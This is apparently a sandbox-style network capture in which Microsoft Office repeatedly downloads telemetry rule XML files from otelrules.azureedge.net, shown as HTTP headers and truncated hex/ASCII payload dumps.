2024-12-07 16:35:47 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:47 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:47 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 09205d62-a01e-0021-3a05-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163547Z-r1cf579d778qgtz2hC1EWRmgks00000002q0000000005ma9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:47 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:47 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:48 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 9160dc9b-d01e-00ad-5f02-48e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163548Z-r1cf579d77867vg8hC1EWR8knc00000002t00000000022zu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:48 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:47 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:48 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1f17df4b-601e-0050-2d03-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163548Z-r1cf579d7782ctslhC1EWRfbrw0000000390000000006umk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:48 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:47 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:48 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: a215b4dd-e01e-0071-4e03-4808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163548Z-r1cf579d778bb9vvhC1EWRs95400000002d0000000006vy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:48 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:49 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:49 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 4c7743ed-001e-0082-4b03-485880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163549Z-r1cf579d778dndrdhC1EWR4b2400000002m0000000001van x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:49 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:49 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: a374b664-e01e-0051-1f05-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163549Z-r1cf579d778dfdgnhC1EWRd3w000000002kg000000008q9q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:50 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:50 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:50 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 83778e64-b01e-0070-6d05-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163550Z-r1cf579d7784wpmvhC1EWRk4cn00000002bg000000003etu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:50 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:50 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:50 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: f6e8c48a-401e-000a-8008-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163550Z-r1cf579d778dfdgnhC1EWRd3w000000002ng00000000674p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:50 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:50 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:50 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 8332a10a-c01e-0079-4304-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163550Z-r1cf579d778d5zkmhC1EWRk6h8000000036g00000000a0ub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:50 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:51 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: e8b3d2c0-701e-0050-0b05-486767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163551Z-r1cf579d778d5zkmhC1EWRk6h8000000036g00000000a0xb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:51 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:52 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fdf3550d-a01e-0070-7703-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163552Z-r1cf579d778dc6d7hC1EWR2vs800000003dg0000000083rr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:52 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:52 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
